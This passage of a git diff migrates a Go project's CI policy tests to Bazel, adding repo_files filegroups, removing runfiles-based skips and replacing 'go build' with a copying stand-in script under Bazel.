a/scripts/bench-ready-indexes/BUILD.bazel b/scripts/bench-ready-indexes/BUILD.bazel index 9d64f87d8..d67926583 100644 --- a/scripts/bench-ready-indexes/BUILD.bazel +++ b/scripts/bench-ready-indexes/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":bench-ready-indexes_lib"], deps = ["@com_github_data_dog_go_sqlmock//:go-sqlmock"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/check-testing-short.sh b/scripts/check-testing-short.sh index 013483e51..62d6944a4 100755 --- a/scripts/check-testing-short.sh +++ b/scripts/check-testing-short.sh @@ -19,6 +19,9 @@ EOF status=0 +# Symlinked .go files count too: under Bazel the tree is a runfiles symlink +# forest. find does not descend into symlinked directories (bazel-* links). + while IFS=: read -r file line _; do file="${file#./}" if [[ -z "$file" || -z "$line" ]]; then @@ -49,7 +52,7 @@ while IFS=: read -r file line _; do printf 'Disallowed testing.Short() at %s:%s in %s\n' "$file" "$line" "${func:-unknown}" >&2 status=1 fi -done < <(find . -type f -name '*.go' -not -path './.git/*' -exec grep -n 'testing\.Short()' {} + || true) +done < <(find . \( -type f -o -type l \) -name '*.go' -not -path './.git/*' -exec grep -n 'testing\.Short()' {} + || true) if (( status != 0 )); then cat >&2 <<'EOF' diff --git a/scripts/check-versions/BUILD.bazel b/scripts/check-versions/BUILD.bazel index 88c87eee2..6baf8b20d 100644 --- a/scripts/check-versions/BUILD.bazel +++ b/scripts/check-versions/BUILD.bazel @@ -14,14 +14,11 @@ go_binary( visibility = ["//visibility:public"], ) -# Tags: -# host-tools: pre_push_hook_test.go runs the tracked pre-push hook and the -# shell entrypoint under the host's /bin/bash, and the hook shells out to -# the host's git and coreutils. -# no-remote-exec: so it runs where that inventory is known (the developer -# machine or the CI runner) rather than on a farm worker. -# no-remote-cache: the action key does not cover the host's bash or tools, so -# a result from one host is neither uploaded for nor served to another. +# pre_push_hook_test.go runs the tracked pre-push hook and the shell +# entrypoint under the executor's /bin/bash and coreutils. Under Bazel the +# entrypoint's `go build` is stood in for by the checker built here +# (BEADS_TEST_CHECK_VERSIONS): there is no module checkout or Go toolchain in +# the runfiles to build it from. go_test( name = "check-versions_test", srcs = [ @@ -29,17 +26,37 @@ go_test( "pre_push_hook_test.go", ], data = [ + ":check-versions", + "//:go.mod", "//:release_metadata_files", "//scripts:check-versions.sh", ], embed = [":check-versions_lib"], - tags = [ - "host-tools", - "no-remote-cache", - "no-remote-exec", - ], + env = {"BEADS_TEST_CHECK_VERSIONS": "$(rlocationpath :check-versions)"}, deps = [ "//internal/testutil/bazeltest", "//internal/versioncheck", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/check-versions/pre_push_hook_test.go b/scripts/check-versions/pre_push_hook_test.go index 2b3ede171..573f32aec 100644 --- a/scripts/check-versions/pre_push_hook_test.go +++ b/scripts/check-versions/pre_push_hook_test.go @@ -42,12 +42,16 @@ func TestPrePushHookOrdinaryPushWorksWithSystemBash(t *testing.T) { // alongside the ordinary-push compatibility that brought us here. // // Unlike the ordinary push above, the entrypoint builds the Go checker from - // source at the repository root, so it needs a full module checkout there. - // Under Bazel the tree the test sees is its runfiles, which holds only the - // declared data and no go.mod, so the wrapper could only ever report its - // build failure (127); `go test` runs against the real checkout. The guard - // sits inside each subtest, not above the loop, so that the ordinary-push - // assertion above still reports as run rather than hiding behind a skip. + // source at the repository root (`go build ./scripts/check-versions`), + // which needs a module checkout and a Go toolchain. Under Bazel there is + // neither, so a stand-in `go` first on PATH "builds" by copying the checker + // Bazel built from the same source (BEADS_TEST_CHECK_VERSIONS); everything + // the contract covers (status passthrough, no launcher diagnostic, temp + // cleanup) is the entrypoint's own. + path := os.Getenv("PATH") + if bazeltest.IsBazel() { + path = fakeGoBuildDir(t) + string(os.PathListSeparator) + path + } for _, tc := range []struct { name string args []string @@ -58,11 +62,9 @@ func TestPrePushHookOrdinaryPushWorksWithSystemBash(t *testing.T) { {"version mismatch", []string{"--expect", "0.0.0-checker-test"}, 3}, } { t.Run(tc.name, func(t *testing.T) { - if bazeltest.IsBazel() { - t.Skip("entrypoint builds from source: needs the real module checkout, not runfiles") - } scratch := t.TempDir() t.Setenv("TMPDIR", scratch) + t.Setenv("PATH", path) checker := filepath.Join(repoRoot, "scripts", "check-versions.sh") cmd := exec.Command(bash, append([]string{checker}, tc.args...)...) cmd.Dir = repoRoot @@ -137,3 +139,30 @@ func TestPrePushHookDriftRefusalPointsAtCheckerRemedy(t *testing.T) { t.Errorf("hook prescribes update-versions.sh for drift:\n%s", output) } } + +// fakeGoBuildDir returns a directory holding a stand-in `go` whose `build ... +// -o OUT ...` copies the Bazel-built checker (BEADS_TEST_CHECK_VERSIONS) to +// OUT, for check-versions.sh under Bazel, where there is no module checkout +// or Go toolchain to build it from. +func fakeGoBuildDir(t *testing.T) string { + t.Helper() + built, err := bazeltest.RunfileEnv("BEADS_TEST_CHECK_VERSIONS") + if err != nil { + t.Fatal(err) + } + dir := t.TempDir() + script := `#!/bin/sh +[ "$1" = build ] || { echo "stand-in go: only build is supported" >&2; exit 2; } +out= +while [ $# -gt 0 ]; do + if [ "$1" = -o ]; then out=$2; shift; fi + shift +done +[ -n "$out" ] || { echo "stand-in go: no -o" >&2; exit 2; } +exec cp "` + built + `" "$out" +` + if err := os.WriteFile(filepath.Join(dir, "go"), []byte(script), 0o755); err != nil { + t.Fatal(err) + } + return dir +} diff --git a/scripts/check-winget-portable-alias.sh b/scripts/check-winget-portable-alias.sh index adc30c66c..52b085baa 100755 --- a/scripts/check-winget-portable-alias.sh +++ b/scripts/check-winget-portable-alias.sh @@ -10,9 +10,9 @@ # differently, e.g. jq's `any(cond)` against mikefarah's `any_c`. set -euo pipefail -# yq is outside the host-tools inventory declared in scripts/BUILD.bazel and no -# workflow job installs it, so name the missing tool instead of reporting every -# manifest as missing its alias. +# No workflow job installs yq (ubuntu-latest and the rbe-west workers ship +# it), so name a missing tool instead of reporting every manifest as missing +# its alias. if ! command -v yq >/dev/null 2>&1; then echo "FAIL: yq is required by this guard but is not installed" exit 1 diff --git a/scripts/check_testing_short_test.go b/scripts/check_testing_short_test.go index 10c7a7a96..9e1257766 100644 --- a/scripts/check_testing_short_test.go +++ b/scripts/check_testing_short_test.go @@ -70,12 +70,14 @@ func TestCheckTestingShortPassesOnCleanRepoTree(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("checker is a Bash boundary") } - if os.Getenv("TEST_SRCDIR") != "" { - // Under Bazel the tree is only this target's runfiles, so the scan - // would pass vacuously. make check-testing-short runs it in CI. - t.Skip("walks the whole source checkout; runs under go test") - } repo := sourceRepoRoot(t) + // Under Bazel the tree is //:repo_files; a tree missing the allowlisted + // call sites would let the scan pass vacuously. + for _, rel := range []string{"internal/hooks/hooks_test.go", "internal/storage/dolt/concurrent_test.go", "internal/workapi/sweep_test.go"} { + if _, err := os.Stat(filepath.Join(repo, filepath.FromSlash(rel))); err != nil { + t.Fatalf("the scanned tree lacks %s, which holds an allowlisted call: %v", rel, err) + } + } cmd := exec.Command("bash", filepath.Join(repo, "scripts", "check-testing-short.sh")) cmd.Dir = repo out, err := cmd.CombinedOutput() diff --git a/scripts/check_winget_portable_alias_test.go b/scripts/check_winget_portable_alias_test.go index e69075fbc..8a52fcc79 100644 --- a/scripts/check_winget_portable_alias_test.go +++ b/scripts/check_winget_portable_alias_test.go @@ -10,16 +10,12 @@ import ( ) // The guard's own vocabulary is shared between mikefarah yq v4 and python-yq, -// so either flavour exercises these cases. Deliberately a plain skip rather -// than requireHostTool: //scripts:scripts_test is tagged host-tools, and that -// tag's declared inventory (git, python3, awk, sed, find, grep, timeout) does -// not include yq, so failing under Bazel would red the shared target on hosts -// that keep the promise the tag actually makes. +// so either flavour exercises these cases. Under Bazel yq is part of the +// executor inventory //scripts:scripts_test relies on (the rbe-west worker +// image and ubuntu-latest ship mikefarah yq v4), so a missing yq fails there. func skipWithoutYQ(t *testing.T) { t.Helper() - if _, err := exec.LookPath("yq"); err != nil { - t.Skipf("yq not available: %v", err) - } + requireHostTool(t, "yq") } const ( diff --git a/scripts/checkworkflowtags/BUILD.bazel b/scripts/checkworkflowtags/BUILD.bazel index 35e736649..1a80d8372 100644 --- a/scripts/checkworkflowtags/BUILD.bazel +++ b/scripts/checkworkflowtags/BUILD.bazel @@ -13,3 +13,25 @@ go_binary( embed = [":checkworkflowtags_lib"], visibility = ["//visibility:public"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/scripts/ci/allowlisted-go-tests.sh b/scripts/ci/allowlisted-go-tests.sh deleted file mode 100755 index dc3b32430..000000000 --- a/scripts/ci/allowlisted-go-tests.sh +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env bash -# The Go tests the Bazel PR-core lane does not run or skips -# (tools/bazel/equivalence_allowlist.txt), under `go test` in PR Core's test -# environment. pr.yml runs this on every PR (scripts-go-checks): -# where PR Core stands down for the Bazel lane (D2 step 3) it is their only -# pre-merge run. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/test-env.sh -source "$REPO_ROOT/scripts/ci/lib/test-env.sh" - -cd "$REPO_ROOT" - -beads_test_env_enter - -# As in pr.yml's PR Core step. -export BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 - -python3 tools/bazel/run_allowlisted_go_tests.py "$@" diff --git a/scripts/ci/scripts-go-test.sh b/scripts/ci/scripts-go-test.sh deleted file mode 100755 index 14b4a062b..000000000 --- a/scripts/ci/scripts-go-test.sh +++ /dev/null @@ -1,26 +0,0 @@ -#!/usr/bin/env bash -# PR Core's `go test`, for the ./scripts/... packages only: the repository -# policy tests (workflow, Bazel and CI guards), several of which check part of -# their rules, or everything, under go test only. pr.yml runs this on every PR -# (scripts-go-checks), so they run before merge also where PR Core stands -# down for the Bazel lane (D2 step 3). Same flags and environment as -# scripts/ci/pr-core.sh. - -set -euo pipefail - -SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" - -# shellcheck source=../../.buildflags -source "$REPO_ROOT/.buildflags" -# shellcheck source=lib/timing.sh -source "$REPO_ROOT/scripts/ci/lib/timing.sh" -# shellcheck source=lib/test-env.sh -source "$REPO_ROOT/scripts/ci/lib/test-env.sh" - -cd "$REPO_ROOT" - -beads_test_env_enter - -ci_time "scripts go test" -- \ - go test -p 4 -parallel 4 -race -short -timeout=30m -skip '^TestEmbedded' ./scripts/... diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 54df07b92..3346151e2 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -238,23 +238,22 @@ func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { // worse, hit a non-race-compiled cache under the race key). func TestBlacksmithGoBuildCacheRaceLegActuallyUsesRace(t *testing.T) { job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm race GOCACHE (scripts-go-checks scripts-test leg)") + step := job.step(t, "Warm race GOCACHE") if !strings.Contains(step.Run, "-race") { t.Errorf("blacksmith-go-build-cache's race-leg warm step run = %q, want it to pass -race", step.Run) } } -// TestBlacksmithGoBuildCacheNonRaceLegWarmsAllowlistedCompileOnly re-pins -// mutation M7: the non-race flavor's warm step must still invoke -// run_allowlisted_go_tests.py --compile-only (not just warm-non-race-cache.sh) -// -- scripts-go-checks' allowlisted leg's own packages, so the seed can never -// silently stop covering what that PR-blocking leg actually compiles. -func TestBlacksmithGoBuildCacheNonRaceLegWarmsAllowlistedCompileOnly(t *testing.T) { +// TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages re-pins mutation +// M7: the non-race flavor's warm step must run the shared +// warm-non-race-cache.sh, so the same-repo-PR seed can never silently stop +// covering what pr-preflight-platforms' and check-doc-freshness-platforms' +// ubuntu legs compile. +func TestBlacksmithGoBuildCacheNonRaceLegWarmsPreflightPackages(t *testing.T) { job := readCIWorkflow(t, "main.yml").job(t, "blacksmith-go-build-cache") - step := job.step(t, "Warm non-race GOCACHE (scripts-go-checks allowlisted leg + preflight/doc-freshness)") - if !strings.Contains(step.Run, "bash scripts/ci/warm-non-race-cache.sh") || - !strings.Contains(step.Run, "python3 tools/bazel/run_allowlisted_go_tests.py --compile-only") { - t.Errorf("blacksmith-go-build-cache's non-race-leg warm step run = %q, want both warm-non-race-cache.sh and run_allowlisted_go_tests.py --compile-only", step.Run) + step := job.step(t, "Warm non-race GOCACHE (preflight/doc-freshness)") + if step.Run != "bash scripts/ci/warm-non-race-cache.sh" { + t.Errorf("blacksmith-go-build-cache's non-race-leg warm step run = %q, want bash scripts/ci/warm-non-race-cache.sh", step.Run) } } @@ -292,47 +291,6 @@ func TestWindowsSaverAndLivenessTimeoutsAreTwentyMinutes(t *testing.T) { } } -// TestCompileOnlyUsesBuildFlagsConstant re-pins mutation M14 (N1 fix): the -// reviewer's original mutation flipped a fragile `GO_TEST_FLAGS[-2:]` slice -// in the --compile-only path to nothing, silently dropping the -// gms_pure_go build tag from every warmed test binary. N1 replaced the slice -// with an explicit BUILD_FLAGS constant reused by both GO_TEST_FLAGS and the -// --compile-only `go test -c` command directly, which structurally removes -// the slice-drift vector mutate.py's M14 exploited; this test pins that the -// constant still exists and is still the thing actually passed to `-c`, so a -// future edit cannot quietly reintroduce the same slicing fragility. -func TestCompileOnlyUsesBuildFlagsConstant(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold none of tools/bazel's scripts (see TestPRRunsGoTestsBazelSkips) - } - root := sourceRepoRoot(t) - data, err := os.ReadFile(filepath.Join(root, "tools", "bazel", "run_allowlisted_go_tests.py")) - if err != nil { - t.Fatal(err) - } - src := string(data) - const wantConst = `BUILD_FLAGS = ["-tags", "gms_pure_go"]` - if !strings.Contains(src, wantConst) { - t.Errorf("tools/bazel/run_allowlisted_go_tests.py is missing %q", wantConst) - } - const wantUse = `cmd = [args.go, "test", "-c", *BUILD_FLAGS, "-o", os.devnull, "./" + pkg]` - if !strings.Contains(src, wantUse) { - t.Errorf("tools/bazel/run_allowlisted_go_tests.py's --compile-only path does not pass *BUILD_FLAGS to go test -c (want %q)", wantUse) - } - // N1's bug was live slicing code (GO_TEST_FLAGS[-2:] used as part of the - // actual `-c` command), not the historical mention of it in BUILD_FLAGS' - // own doc comment above -- only flag the pattern outside a `#` comment line. - for _, line := range strings.Split(src, "\n") { - trimmed := strings.TrimSpace(line) - if strings.HasPrefix(trimmed, "#") { - continue - } - if strings.Contains(line, "GO_TEST_FLAGS[-2:]") || strings.Contains(line, "GO_TEST_FLAGS[-2]") { - t.Errorf("tools/bazel/run_allowlisted_go_tests.py must not reintroduce slicing GO_TEST_FLAGS to get the build tags (F7b review fix N1): %q", line) - } - } -} - // blacksmithMacOSPRLegJobs are pr.yml's mixed-OS matrix jobs whose macOS leg // runs on Blacksmith macOS for same-repo PRs/merge_group. var blacksmithMacOSPRLegJobs = []string{"pr-preflight-platforms", "check-doc-freshness-platforms"} diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index a0a32c51b..a812b12db 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -1377,10 +1377,9 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-core-wrapper"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("race"), }) - // D2 step 3: PR Core's environment for ./scripts/..., go vet and the - // Bazel-skipped tests; read-only like PR Core. + // D2 step 3: PR Core's go vet; read-only like PR Core. assertGoCacheInventory(t, workflows["pr.yml"].job(t, "scripts-go-checks"), []goCacheStep{ - restoreModuleCache(), restoreBuildCacheIf("race", "matrix.check == 'scripts-test'"), restoreVetCache(), restoreBuildCacheIf("non-race", "matrix.check == 'allowlisted'"), + restoreModuleCache(), restoreVetCache(), }) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "pr-lint-wrapper"), []goCacheStep{restoreModuleCache(), restoreGolangciCache()}) assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ @@ -4487,11 +4486,7 @@ func TestBazelDoltJobMirrorsContainerJobs(t *testing.T) { // dolt-server target. Every such target, checked on its own, picks the // local backend and fails closed, so a broken backend fails rather than // skipping into a cached pass; the ones whose TestMain owns a server also - // set the package's own REQUIRE switch. Only under go test: scripts_test's - // runfiles hold no other package's BUILD. - if os.Getenv("TEST_SRCDIR") != "" { - return - } + // set the package's own REQUIRE switch. root := sourceRepoRoot(t) for pkg, docker := range map[string]bool{ "internal/storage/domain": false, @@ -4686,18 +4681,9 @@ func bazelRuleBlock(build, name string) string { // bazelProxiedShardCount returns cmd/bd:bd_proxied_test's own shard_count // from cmd/bd/BUILD.bazel: the single source of truth for the Bazel-only // bazel-proxied lane's shard split, which no longer has to equal PR -// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). Under -// `bazel test`, scripts_test's runfiles hold no other package's BUILD file, -// so this falls back to the literal the structural checks below pin under -// plain `go test` (TestBazelDoltServerTiersMirrorPRRisk and -// TestBazelRetiredLanesCheckListedTestsRan both fail if cmd/bd/BUILD.bazel's -// shard_count ever drifts from this fallback). +// Risk's/main.yml's legacy test-proxied-cmd jobs' matrix size (F2). func bazelProxiedShardCount(t *testing.T) int { t.Helper() - const bazelTestFallback = 30 - if os.Getenv("TEST_SRCDIR") != "" { - return bazelTestFallback - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") m := regexp.MustCompile(`(?m)^ shard_count = (\d+),$`).FindStringSubmatch(rule) @@ -4936,9 +4922,6 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { if step.Env[c.env] != "1" { t.Errorf("%s %s no longer sets %s=1; update %s:%s", c.workflow, c.job, c.env, c.pkg, c.target) } - if os.Getenv("TEST_SRCDIR") != "" { - continue // scripts_test's runfiles hold no other package's BUILD - } buildShards := shards root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) @@ -4985,37 +4968,35 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { t.Fatalf("parsed %v from pr-risk.yml test-server-storage %q", wantArgs, conf) } - if os.Getenv("TEST_SRCDIR") == "" { - root := sourceRepoRoot(t) - doltBuild := readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel") - rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") - for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { - if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { - t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) - } + root := sourceRepoRoot(t) + doltBuild := readPolicyFile(t, root, "internal/storage/dolt/BUILD.bazel") + rule := bazelRuleBlock(doltBuild, "dolt_server_conformance_test") + for _, w := range append(wantArgs, `"$(rootpath :dolt_race_off)",`, `srcs = ["//tools/bazel:go_test_variant.sh"],`) { + if !strings.Contains(bazelAttrBlock(rule, "args")+rule, w) { + t.Errorf("dolt:dolt_server_conformance_test does not contain %q (pr-risk.yml test-server-storage):\n%s", w, rule) } - if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { - t.Error("dolt:dolt_server_conformance_test sets BEADS_TEST_ENV_RUN_DOLT; test-server-storage does not") + } + if strings.Contains(rule, "BEADS_TEST_ENV_RUN_DOLT") { + t.Error("dolt:dolt_server_conformance_test sets BEADS_TEST_ENV_RUN_DOLT; test-server-storage does not") + } + if r := bazelRuleBlock(doltBuild, "dolt_race_off"); !strings.Contains(r, "go_test_race_off(") || !strings.Contains(r, `test = ":dolt_test",`) { + t.Errorf("dolt:dolt_race_off must be go_test_race_off of :dolt_test (the jobs' binary is not race):\n%s", r) + } + full := bazelRuleBlock(doltBuild, "dolt_server_full_test") + for _, w := range []string{`"$(rootpath :dolt_race_off)",`, `"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)"`, `"//:go.mod",`} { + if !strings.Contains(full, w) { + t.Errorf("dolt:dolt_server_full_test lacks %q (SubprocessRunner reuses the test binary; ModuleRoot needs go.mod):\n%s", w, full) } - if r := bazelRuleBlock(doltBuild, "dolt_race_off"); !strings.Contains(r, "go_test_race_off(") || !strings.Contains(r, `test = ":dolt_test",`) { - t.Errorf("dolt:dolt_race_off must be go_test_race_off of :dolt_test (the jobs' binary is not race):\n%s", r) + } + proxied := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") + for _, w := range []string{`"$(rootpath :bd_test)",`, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)"`} { + if !strings.Contains(proxied, w) { + t.Errorf("cmd/bd:bd_proxied_test lacks %q (race bd_test, non-race subprocess bd, like the jobs):\n%s", w, proxied) } - full := bazelRuleBlock(doltBuild, "dolt_server_full_test") - for _, w := range []string{`"$(rootpath :dolt_race_off)",`, `"BEADS_TEST_SUBPROCESS_BINARY": "$(rlocationpath :dolt_race_off)"`, `"//:go.mod",`} { - if !strings.Contains(full, w) { - t.Errorf("dolt:dolt_server_full_test lacks %q (SubprocessRunner reuses the test binary; ModuleRoot needs go.mod):\n%s", w, full) - } - } - proxied := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_proxied_test") - for _, w := range []string{`"$(rootpath :bd_test)",`, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)"`} { - if !strings.Contains(proxied, w) { - t.Errorf("cmd/bd:bd_proxied_test lacks %q (race bd_test, non-race subprocess bd, like the jobs):\n%s", w, proxied) - } - } - for pkg, build := range map[string]string{"cmd/bd": readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "internal/storage/dolt": doltBuild} { - for _, err := range checkDoltServerRules(pkg, build) { - t.Error(err) - } + } + for pkg, build := range map[string]string{"cmd/bd": readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "internal/storage/dolt": doltBuild} { + for _, err := range checkDoltServerRules(pkg, build) { + t.Error(err) } } @@ -5193,9 +5174,6 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { if step.Env["BEADS_TEST_EMBEDDED_DOLT"] != "1" { t.Errorf("pr-risk.yml %s no longer sets BEADS_TEST_EMBEDDED_DOLT=1; update %s", c.job, c.target) } - if os.Getenv("TEST_SRCDIR") != "" { - continue // scripts_test's runfiles hold no other package's BUILD - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, c.pkg+"/BUILD.bazel"), c.target) // c.target's own shard_count is deliberately NOT asserted to equal @@ -5242,13 +5220,11 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { } } } - if os.Getenv("TEST_SRCDIR") == "" { - // The cmd jobs' subprocess bd is the race build, as //cmd/bd:bd is - // under --config=embedded (bd_for_tests never is). - rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel"), "bd_embedded_test") - if !strings.Contains(rule, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)"`) { - t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) - } + // The cmd jobs' subprocess bd is the race build, as //cmd/bd:bd is + // under --config=embedded (bd_for_tests never is). + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel"), "bd_embedded_test") + if !strings.Contains(rule, `"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)"`) { + t.Errorf("cmd/bd:bd_embedded_test must run the race //cmd/bd:bd as BEADS_TEST_BD_BINARY:\n%s", rule) } conformance := risk.job(t, "test-embedded-conformance") @@ -5281,9 +5257,6 @@ func TestBazelEmbeddedJobMirrorsEmbeddedTier(t *testing.T) { if len(want) < 4 { t.Fatalf("parsed only %v from pr-risk.yml %s conformance %q", want, partition, run) } - if os.Getenv("TEST_SRCDIR") != "" { - continue - } rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/storage/embeddeddolt/BUILD.bazel"), target) for _, w := range append(want, `"BEADS_TEST_EMBEDDED_DOLT": "1"`, `"embedded"`) { if !strings.Contains(rule, w) { @@ -5350,11 +5323,9 @@ func TestBazelPureJobMirrorsPureGoJob(t *testing.T) { t.Errorf("pure artifact start step does not contain %q:\n%s", required, start) } } - if os.Getenv("TEST_SRCDIR") == "" { - patch := readPolicyFile(t, sourceRepoRoot(t), "third_party/patches/gozstd_nocgo.patch") - if !strings.Contains(patch, "+func init() { panic(") { - t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") - } + patch := readPolicyFile(t, sourceRepoRoot(t), "third_party/patches/gozstd_nocgo.patch") + if !strings.Contains(patch, "+func init() { panic(") { + t.Error("gozstd_nocgo.patch stubs no longer panic in init; a contaminated pure binary would start") } prWasm := pr.step(t, "Run js/wasm hook boundary").Run @@ -6568,9 +6539,6 @@ func TestReleaseWorkflowRestoresNoCache(t *testing.T) { // BUILD file or macro may mark a target flaky = True (Bazel retries those up // to three times by default). func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { - if os.Getenv("TEST_SRCDIR") != "" { - t.Skip("scripts_test's runfiles hold no other package's BUILD files") - } root := sourceRepoRoot(t) retry := regexp.MustCompile(`flaky_test_attempts|runs_per_test_detects_flakes`) // Any flaky = other than a literal False/0 (a variable or macro @@ -6590,7 +6558,7 @@ func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { } return nil } - if d.Type()&os.ModeSymlink != 0 { + if !isFileOrFileLink(path, d) { return nil // bazel-* convenience symlinks } base := d.Name() @@ -6622,7 +6590,8 @@ func TestBazelGatedLanesNeverRetryFlakyTests(t *testing.T) { if err != nil { t.Fatal(err) } - if checked < 10 { + // Every BUILD file: a walk that sees fewer is not looking at the tree. + if checked < 100 { t.Fatalf("checked only %d files; is the repository root right?", checked) } } @@ -6724,9 +6693,6 @@ func TestBazelCmdDoltJob(t *testing.T) { // The target: the dolt-server rules (local backend, fail closed, remote), // the integration build's bd_test with no test selection, every env // bd_test's own go_test sets, and the 4-vCPU runner shape. - if os.Getenv("TEST_SRCDIR") != "" { - return // scripts_test's runfiles hold no other package's BUILD - } build := readPolicyFile(t, sourceRepoRoot(t), "cmd/bd/BUILD.bazel") var rule, bdTest string for _, r := range bazelTopRules(stripStarlarkComments(build)) { diff --git a/scripts/embedded_shard_count_test.go b/scripts/embedded_shard_count_test.go index ebe26c5b4..3af9b1469 100644 --- a/scripts/embedded_shard_count_test.go +++ b/scripts/embedded_shard_count_test.go @@ -1,7 +1,6 @@ package scripts_test import ( - "os" "os/exec" "regexp" "strconv" @@ -20,17 +19,9 @@ var shardCountPattern = regexp.MustCompile(`(?m)^ shard_count = (\d+),$`) // longer has to equal PR Risk's/main.yml's legacy "Test (Embedded Dolt Cmd // N/20)" fork/push jobs' matrix size — mirrors bazelProxiedShardCount (F2; // see that function's doc comment in scripts/ci_workflow_test.go for the -// shared rationale, not repeated here). Under `bazel test`, scripts_test's -// runfiles hold no other package's BUILD file, so this falls back to the -// literal TestBazelRetiredLanesCheckListedTestsRan pins under plain `go -// test` for //cmd/bd:bd_embedded_test; that test fails if cmd/bd/BUILD.bazel's -// shard_count ever drifts from this fallback. +// shared rationale, not repeated here). func bazelEmbeddedCmdShardCount(t *testing.T) int { t.Helper() - const bazelTestFallback = 50 - if os.Getenv("TEST_SRCDIR") != "" { - return bazelTestFallback - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "cmd/bd/BUILD.bazel"), "bd_embedded_test") m := shardCountPattern.FindStringSubmatch(rule) @@ -53,10 +44,6 @@ func bazelEmbeddedCmdShardCount(t *testing.T) int { // bazelEmbeddedCmdShardCount above; see its doc comment. func bazelEmbeddedStorageShardCount(t *testing.T) int { t.Helper() - const bazelTestFallback = 15 - if os.Getenv("TEST_SRCDIR") != "" { - return bazelTestFallback - } root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "internal/storage/embeddeddolt/BUILD.bazel"), "embeddeddolt_embedded_test") m := shardCountPattern.FindStringSubmatch(rule) @@ -86,13 +73,7 @@ func 